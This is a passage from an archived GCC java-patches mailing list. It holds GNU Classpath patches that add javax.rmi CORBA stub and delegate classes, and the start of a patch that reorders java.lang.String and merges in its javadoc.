+module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package javax.rmi; + +import java.rmi.Remote; +import java.rmi.RemoteException; +import java.rmi.NoSuchObjectException; +import gnu.javax.rmi.CORBA.DelegateFactory; +import gnu.javax.rmi.CORBA.GetDelegateInstanceException; +import javax.rmi.CORBA.PortableRemoteObjectDelegate; +import javax.rmi.CORBA.Util; + +public class PortableRemoteObject + implements Remote /* why doc doesn't say should implement Remote */ +{ + + private static PortableRemoteObjectDelegate delegate; + static + { + try + { + delegate = (PortableRemoteObjectDelegate)DelegateFactory.getInstance + ("PortableRemoteObject"); + } + catch(GetDelegateInstanceException e) + { + e.printStackTrace(); + delegate = null; + } + } + + protected PortableRemoteObject() + throws RemoteException + { + if(delegate != null) + exportObject((Remote)this); + } + + public static void connect(Remote target, Remote source) + throws RemoteException + { + if(delegate != null) + delegate.connect(target, source); + } + + public static void exportObject(Remote obj) + throws RemoteException + { + if(delegate != null) + delegate.exportObject(obj); + } + + public static Object narrow(Object narrowFrom, Class narrowTo) + throws ClassCastException + { + if(delegate != null) + return delegate.narrow(narrowFrom, narrowTo); + else + return null; + } + + public static Remote toStub(Remote obj) + throws NoSuchObjectException + { + if(delegate != null) + return delegate.toStub(obj); + else + return null; + } + + public static void unexportObject(Remote obj) + throws NoSuchObjectException + { + if(delegate != null) + delegate.unexportObject(obj); + } + +} Index: javax/rmi/CORBA/ClassDesc.java =================================================================== RCS file: javax/rmi/CORBA/ClassDesc.java diff -N javax/rmi/CORBA/ClassDesc.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/rmi/CORBA/ClassDesc.java 29 Mar 2003 21:20:21 -0000 @@ -0,0 +1,55 @@ +/* ClassDesc.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package javax.rmi.CORBA; + +import java.io.Serializable; + +public class ClassDesc + implements Serializable +{ + /* + * The following is serialized form required by Java API Doc + */ + private String repid; + private String codebase; + + public ClassDesc() + { + } +} Index: javax/rmi/CORBA/ObjectImpl.java =================================================================== RCS file: javax/rmi/CORBA/ObjectImpl.java diff -N javax/rmi/CORBA/ObjectImpl.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/rmi/CORBA/ObjectImpl.java 29 Mar 2003 21:20:21 -0000 @@ -0,0 +1,9 @@ +package javax.rmi.CORBA; + +/** XXX - Stub till we have org.omg.CORBA */ +public class ObjectImpl +{ + public ObjectImpl _orb() { return null; } + public String object_to_string(ObjectImpl o) + throws javax.rmi.BAD_OPERATION { return null; } +} Index: javax/rmi/CORBA/PortableRemoteObjectDelegate.java =================================================================== RCS file: javax/rmi/CORBA/PortableRemoteObjectDelegate.java diff -N javax/rmi/CORBA/PortableRemoteObjectDelegate.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/rmi/CORBA/PortableRemoteObjectDelegate.java 29 Mar 2003 21:20:21 -0000 @@ -0,0 +1,63 @@ +/* PortableRemoteObjectDelegate.java -- Interface supporting PortableRemoteObject + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package javax.rmi.CORBA; + +import java.rmi.*; + +/** + * A delegate is a singleton class that support delegation for method + * implementation in PortableRemoteObject. + */ +public interface PortableRemoteObjectDelegate +{ + void connect(Remote target, Remote source) + throws RemoteException; + + void exportObject(Remote obj) + throws RemoteException; + + Object narrow(Object narrowFrom, Class narrowTo) + throws ClassCastException; + + Remote toStub(Remote obj) + throws NoSuchObjectException; + + void unexportObject(Remote obj) + throws NoSuchObjectException; +} Index: javax/rmi/CORBA/Stub.java =================================================================== RCS file: javax/rmi/CORBA/Stub.java diff -N javax/rmi/CORBA/Stub.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/rmi/CORBA/Stub.java 29 Mar 2003 21:20:21 -0000 @@ -0,0 +1,120 @@ +/* Stub.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package javax.rmi.CORBA; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.rmi.RemoteException; +//import org.omg.CORBA.ORB; +//import org.omg.CORBA_2_3.portable.ObjectImpl; +//import org.omg.CORBA.portable.ObjectImpl; +import gnu.javax.rmi.CORBA.DelegateFactory; +import gnu.javax.rmi.CORBA.GetDelegateInstanceException; + +public abstract class Stub extends ObjectImpl + implements Serializable +{ + private transient StubDelegate delegate; + + protected Stub() + { + try + { + delegate = (StubDelegate)DelegateFactory.getInstance("Stub"); + } + catch(GetDelegateInstanceException e) + { + delegate = null; + } + } + + public int hashCode() + { + if(delegate != null) + return delegate.hashCode(this); + else + return 0; + } + + public boolean equals(Object obj) + { + if(delegate != null) + return delegate.equals(this, obj); + else + return false; + } + + public String toString() + { + String s = null; + if(delegate != null) + s = delegate.toString(this); + if(s == null) + s = super.toString(); + return s; + } + + // XXX javax.rmi.ORB -> org.omg.CORBA.ORB + public void connect(javax.rmi.ORB orb) + throws RemoteException + { + if(delegate != null) + delegate.connect(this, orb); + } + + /** + * The following two routines are required by serialized form of Java API doc. + */ + private void readObject(ObjectInputStream stream) + throws IOException, ClassNotFoundException + { + if(delegate != null) + delegate.readObject(this, stream); + } + + private void writeObject(ObjectOutputStream stream) + throws IOException + { + if(delegate != null) + delegate.writeObject(this, stream); + } + +} Index: javax/rmi/CORBA/StubDelegate.java =================================================================== RCS file: javax/rmi/CORBA/StubDelegate.java diff -N javax/rmi/CORBA/StubDelegate.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/rmi/CORBA/StubDelegate.java 29 Mar 2003 21:20:21 -0000 @@ -0,0 +1,65 @@ +/* StubDelegate.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package javax.rmi.CORBA; + +import java.io.IOException; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.rmi.RemoteException; +//import org.omg.CORBA.ORB; + +public interface StubDelegate +{ + + // XXX javax.rmi.ORB -> org.omg.CORBA.ORB + void connect(Stub self, javax.rmi.ORB orb) + throws RemoteException; + + boolean equals(Stub self, Object obj); + + int hashCode(Stub self); + + void readObject(Stub self, ObjectInputStream s) + throws IOException, ClassNotFoundException; + + String toString(Stub self); + + void writeObject(Stub self, ObjectOutputStream s) + throws IOException; +} Index: javax/rmi/CORBA/SystemException.java =================================================================== RCS file: javax/rmi/CORBA/SystemException.java diff -N javax/rmi/CORBA/SystemException.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/rmi/CORBA/SystemException.java 29 Mar 2003 21:20:21 -0000 @@ -0,0 +1,4 @@ +package javax.rmi.CORBA; + +/** XXX - Stub till we have org.omg.CORBA */ +public class SystemException extends Exception { } Index: javax/rmi/CORBA/Tie.java =================================================================== RCS file: javax/rmi/CORBA/Tie.java diff -N javax/rmi/CORBA/Tie.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/rmi/CORBA/Tie.java 29 Mar 2003 21:20:21 -0000 @@ -0,0 +1,62 @@ +/* Tie.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package javax.rmi.CORBA; + +import java.rmi.Remote; +//import org.omg.CORBA.ORB; +//import org.omg.CORBA.portable.InvokeHandler; + +public interface Tie // XXX extends InvokeHandler +{ + + void deactivate(); + + Remote getTarget(); + + // XXX javax.rmi.ORB -> org.omg.CORBA.ORB + javax.rmi.ORB orb(); + + // XXX javax.rmi.ORB -> org.omg.CORBA.ORB + void orb(javax.rmi.ORB orb); + + void setTarget(Remote target); + + // XXX Object -> org.omg.CORBA.Object + Object thisObject(); +} Index: javax/rmi/CORBA/Util.java =================================================================== RCS file: javax/rmi/CORBA/Util.java diff -N javax/rmi/CORBA/Util.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/rmi/CORBA/Util.java 29 Mar 2003 21:20:21 -0000 @@ -0,0 +1,187 @@ +/* Util.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package javax.rmi.CORBA; + +import java.rmi.Remote; +import java.rmi.RemoteException; +import java.lang.Object; +import java.io.*; +//import org.omg.CORBA.*; +//import org.omg.CORBA.portable.InputStream; +//import org.omg.CORBA.portable.OutputStream; +import gnu.javax.rmi.CORBA.DelegateFactory; +import gnu.javax.rmi.CORBA.GetDelegateInstanceException; + +public class Util +{ + + private static UtilDelegate delegate; + static + { + try + { + delegate = (UtilDelegate)DelegateFactory.getInstance("Util"); + } + catch(GetDelegateInstanceException e) + { + delegate = null; + } + } + + private Util() + { + } + + // XXX - javax.rmi.ORB -> org.omg.CORBA.ORB + public static Object copyObject(Object obj, javax.rmi.ORB orb) + throws RemoteException + { + if(delegate != null) + return delegate.copyObject(obj, orb); + else + return null; + } + + // XXX - javax.rmi.ORB -> org.omg.CORBA.ORB + public static Object[] copyObjects(Object obj[], javax.rmi.ORB orb) + throws RemoteException + { + if(delegate != null) + return delegate.copyObjects(obj, orb); + else + return null; + } + + public static ValueHandler createValueHandler() + { + if(delegate != null) + return delegate.createValueHandler(); + else + return null; + } + + public static String getCodebase(Class clz) + { + if(delegate != null) + return delegate.getCodebase(clz); + else + return null; + } + + public static Tie getTie(Remote target) + { + if(delegate != null) + return delegate.getTie(target); + else + return null; + } + + public static boolean isLocal(Stub stub) + throws RemoteException + { + if(delegate != null) + return delegate.isLocal(stub); + else + return false; + } + + public static Class loadClass(String className, String remoteCodebase, ClassLoader loader) + throws ClassNotFoundException + { + if(delegate != null) + return delegate.loadClass(className, remoteCodebase, loader); + else + throw new ClassNotFoundException(className + ": delegate == null"); + } + + public static RemoteException mapSystemException(SystemException ex) + { + if(delegate != null) + return delegate.mapSystemException(ex); + else + return null; + } + + public static Object readAny(InputStream in) + { + if(delegate != null) + return delegate.readAny(in); + else + return null; + } + + public static void registerTarget(Tie tie, Remote target) + { + if(delegate != null) + delegate.registerTarget(tie, target); + } + + public static void unexportObject(Remote target) + { + if(delegate != null) + delegate.unexportObject(target); + } + + public static RemoteException wrapException(Throwable orig) + { + if(delegate != null) + return delegate.wrapException(orig); + else + return null; + } + + public static void writeAbstractObject(OutputStream out, Object obj) + { + if(delegate != null) + delegate.writeAbstractObject(out, obj); + } + + public static void writeAny(OutputStream out, Object obj) + { + if(delegate != null) + delegate.writeAny(out, obj); + } + + public static void writeRemoteObject(OutputStream out, Object obj) + { + if(delegate != null) + delegate.writeRemoteObject(out, obj); + } + +} Index: javax/rmi/CORBA/UtilDelegate.java =================================================================== RCS file: javax/rmi/CORBA/UtilDelegate.java diff -N javax/rmi/CORBA/UtilDelegate.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/rmi/CORBA/UtilDelegate.java 29 Mar 2003 21:20:21 -0000 @@ -0,0 +1,84 @@ +/* UtilDelegate.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package javax.rmi.CORBA; + +import java.rmi.Remote; +import java.rmi.RemoteException; +import java.io.*; +//import org.omg.CORBA.ORB; +//import org.omg.CORBA.SystemException; +//import org.omg.CORBA.portable.InputStream; +//import org.omg.CORBA.portable.OutputStream; + +public interface UtilDelegate +{ + + // XXX javax.rmi.ORB -> org.omg.CORBA.ORB + Object copyObject(Object obj, javax.rmi.ORB orb) throws RemoteException; + + // XXX javax.rmi.ORB -> org.omg.CORBA.ORB + Object[] copyObjects(Object obj[], javax.rmi.ORB orb) throws RemoteException; + + ValueHandler createValueHandler(); + + String getCodebase(Class clz); + + Tie getTie(Remote target); + + boolean isLocal(Stub stub) throws RemoteException; + + Class loadClass(String className, String remoteCodebase, + ClassLoader loader) throws ClassNotFoundException; + + RemoteException mapSystemException(SystemException ex); + + Object readAny(InputStream in); + + void registerTarget(Tie tie, Remote target); + + void unexportObject(Remote target); + + RemoteException wrapException(Throwable orig); + + void writeAbstractObject(OutputStream out, Object obj); + + void writeAny(OutputStream out, Object obj); + + void writeRemoteObject(OutputStream out, Object obj); +} Index: javax/rmi/CORBA/ValueHandler.java =================================================================== RCS file: javax/rmi/CORBA/ValueHandler.java diff -N javax/rmi/CORBA/ValueHandler.java --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ javax/rmi/CORBA/ValueHandler.java 29 Mar 2003 21:20:21 -0000 @@ -0,0 +1,63 @@ +/* ValueHandler.java -- + Copyright (C) 2002 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + + +package javax.rmi.CORBA; + +import java.io.*; +//import org.omg.CORBA.portable.InputStream; +//import org.omg.CORBA.portable.OutputStream; +//import org.omg.SendingContext.RunTime; + +public interface ValueHandler +{ + + String getRMIRepositoryID(Class clz); + + // XXX Runtime -> RunTime + Runtime getRunTimeCodeBase(); + + boolean isCustomMarshaled(Class clz); + + // XXX Runtime -> RunTime + Serializable readValue(InputStream in, int offset, Class clz, + String repositoryID, Runtime sender); + + Serializable writeReplace(Serializable value); + + void writeValue(OutputStream out, Serializable value); +} From java-patches-return-6615-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 30 05:37:36 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26774 invoked by alias); 30 Mar 2003 05:37:36 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26765 invoked from network); 30 Mar 2003 05:37:34 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 30 Mar 2003 05:37:34 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3.1) with ESMTP id WAA12025; Sat, 29 Mar 2003 22:37:31 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id A8E174F867C; Sat, 29 Mar 2003 22:33:06 -0700 (MST) To: GCC libjava patches Subject: Patch: FYI: Partial String merge From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: If Robert Di Niro assassinates Walter Slezak, will Jodie Foster marry Bonzo?? Date: 29 Mar 2003 22:33:05 -0700 Message-ID: <877kah4dwu.fsf@fleche.redhat.com> Lines: 1198 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk. Inspired by Michael Koch, I rearranged String to follow Classpath and merged in the javadoc. This is the first step in resurrecting Eric Blake's String merge patch, which I've let languish for over a year now. Rearranging like this makes it much easier to compare the classpath and libgcj code. This patch is reordering and comment additions only. Tom Index: ChangeLog from Tom Tromey * java/lang/String.java: Reordered to follow Classpath; merged in javadoc. Index: java/lang/String.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/String.java,v retrieving revision 1.19 diff -u -r1.19 String.java --- java/lang/String.java 24 Mar 2003 00:50:18 -0000 1.19 +++ java/lang/String.java 30 Mar 2003 05:34:30 -0000 @@ -1,12 +1,44 @@ -/* Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation +/* String.java -- immutable character sequences; the object of string literals + Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 + Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ - This file is part of libgcj. - -This software is copyrighted work licensed under the terms of the -Libgcj License. Please consult the file "LIBGCJ_LICENSE" for -details. */ package java.lang; + import java.io.UnsupportedEncodingException; import java.io.Serializable; import java.lang.Comparable; @@ -14,40 +46,68 @@ import java.util.Locale; /** + * Strings represent an immutable set of characters. All String literals + * are instances of this class, and two string literals with the same contents + * refer to the same String object. + * + *

          This class also includes a number of methods for manipulating the + * contents of strings (of course, creating a new object if there are any + * changes, as String is immutable). Case mapping relies on Unicode 3.0.0 + * standards, where some character sequences have a different number of + * characters in the uppercase version than the lower case. + * + *

          Strings are special, in that they are the only object with an overloaded + * operator. When you use '+' with at least one String argument, both + * arguments have String conversion performed on them, and another String (not + * guaranteed to be unique) results. + * + *

          String is special-cased when doing data serialization - rather than + * listing the fields of this class, a String object is converted to a string + * literal in the object stream. + * + * @author Paul N. Fisher + * @author Eric Blake * @author Per Bothner - * @date September 4, 1998. - */ -/* Written using "Java Class Libraries", 2nd edition, plus online - * API docs for JDK 1.2 beta from http://www.javasoft.com. - * Status: Complete to 1.3. + * @since 1.0 + * @status updated to 1.4 */ - public final class String implements Serializable, Comparable, CharSequence { + // WARNING: String is a CORE class in the bootstrap cycle. See the comments + // in vm/reference/java/lang/Runtime for implications of this fact. + + /** + * This is probably not necessary because this class is special cased already + * but it will avoid showing up as a discrepancy when comparing SUIDs. + */ + private static final long serialVersionUID = -6849794470754667710L; + private Object data; private int boffset; // Note this is a byte offset - don't use in Java code! int count; - // This is probably not necessary because this class is special cased already - // but it will avoid showing up as a discrepancy when comparing SUIDs. - private static final long serialVersionUID = -6849794470754667710L; - /** * An implementation for {@link CASE_INSENSITIVE_ORDER}. - * This must be {@link Serializable}. + * This must be {@link Serializable}. The class name is dictated by + * compatibility with Sun's JDK. */ private static final class CaseInsensitiveComparator implements Comparator, Serializable { /** - * The default private constructor generates unnecessary overhead + * Compatible with JDK 1.2. + */ + private static final long serialVersionUID = 8575799808933029326L; + + /** + * The default private constructor generates unnecessary overhead. */ CaseInsensitiveComparator() {} /** - * Compares two Strings, using + * Compares to Strings, using * String.compareToIgnoreCase(String). - * + * * @param o1 the first string * @param o2 the second string * @return < 0, 0, or > 0 depending on the case-insensitive @@ -60,69 +120,194 @@ { return ((String) o1).compareToIgnoreCase((String) o2); } - } + } // class CaseInsensitiveComparator /** * A Comparator that uses String.compareToIgnoreCase(String). - * This comparator is {@link Serializable}. + * This comparator is {@link Serializable}. Note that it ignores Locale, + * for that, you want a Collator. * + * @see Collator#compare(String, String) * @since 1.2 */ public static final Comparator CASE_INSENSITIVE_ORDER = new CaseInsensitiveComparator(); + /** + * Creates an empty String (length 0). Unless you really need a new object, + * consider using "" instead. + */ public String () { init(); } - public String (String value) + /** + * Copies the contents of a String to a new String. Since Strings are + * immutable, only a shallow copy is performed. + * + * @param str String to copy + * @throws NullPointerException if value is null + */ + public String (String str) { - data = value.data; - boffset = value.boffset; - count = value.count; + data = str.data; + boffset = str.boffset; + count = str.count; } - public String (StringBuffer buffer) + /** + * Creates a new String using the character sequence of the char array. + * Subsequent changes to data do not affect the String. + * + * @param data char array to copy + * @throws NullPointerException if data is null + */ + public String (char[] data) { - synchronized (buffer) - { - buffer.shared = true; - init (buffer.value, 0, buffer.count, true); - } + init(data, 0, data.length, false); } - // This is used by gnu.gcj.runtime.StringBuffer, so it must have - // package-private protection. It is accessed via CNI and so avoids - // ordinary protection mechanisms. - String (gnu.gcj.runtime.StringBuffer buffer) + /** + * Creates a new String using the character sequence of a subarray of + * characters. The string starts at offset, and copies count chars. + * Subsequent changes to data do not affect the String. + * + * @param data char array to copy + * @param offset position (base 0) to start copying out of data + * @param count the number of characters from data to copy + * @throws NullPointerException if data is null + * @throws IndexOutOfBoundsException if (offset < 0 || count < 0 + * || offset + count > data.length) + * (while unspecified, this is a StringIndexOutOfBoundsException) + */ + public String (char[] data, int offset, int count) { - // No need to synchronize or mark the buffer, since we know it is - // only used once. - init (buffer.value, 0, buffer.count, true); + init(data, offset, count, false); } - public String (char[] data) + /** + * Creates a new String using an 8-bit array of integer values, starting at + * an offset, and copying up to the count. Each character c, using + * corresponding byte b, is created in the new String as if by performing: + * + *

          +   * c = (char) (((hibyte & 0xff) << 8) | (b & 0xff))
          +   * 
          + * + * @param ascii array of integer values + * @param hibyte top byte of each Unicode character + * @param offset position (base 0) to start copying out of ascii + * @param count the number of characters from ascii to copy + * @throws NullPointerException if ascii is null + * @throws IndexOutOfBoundsException if (offset < 0 || count < 0 + * || offset + count > ascii.length) + * (while unspecified, this is a StringIndexOutOfBoundsException) + * @see #String(byte[]) + * @see #String(byte[], String) + * @see #String(byte[], int, int) + * @see #String(byte[], int, int, String) + * @deprecated use {@link #String(byte[], int, int, String)} to perform + * correct encoding + */ + public String (byte[] ascii, int hibyte, int offset, int count) { - init(data, 0, data.length, false); + init(ascii, hibyte, offset, count); } - public String (char[] data, int offset, int count) + /** + * Creates a new String using an 8-bit array of integer values. Each + * character c, using corresponding byte b, is created in the new String + * as if by performing: + * + *
          +   * c = (char) (((hibyte & 0xff) << 8) | (b & 0xff))
          +   * 
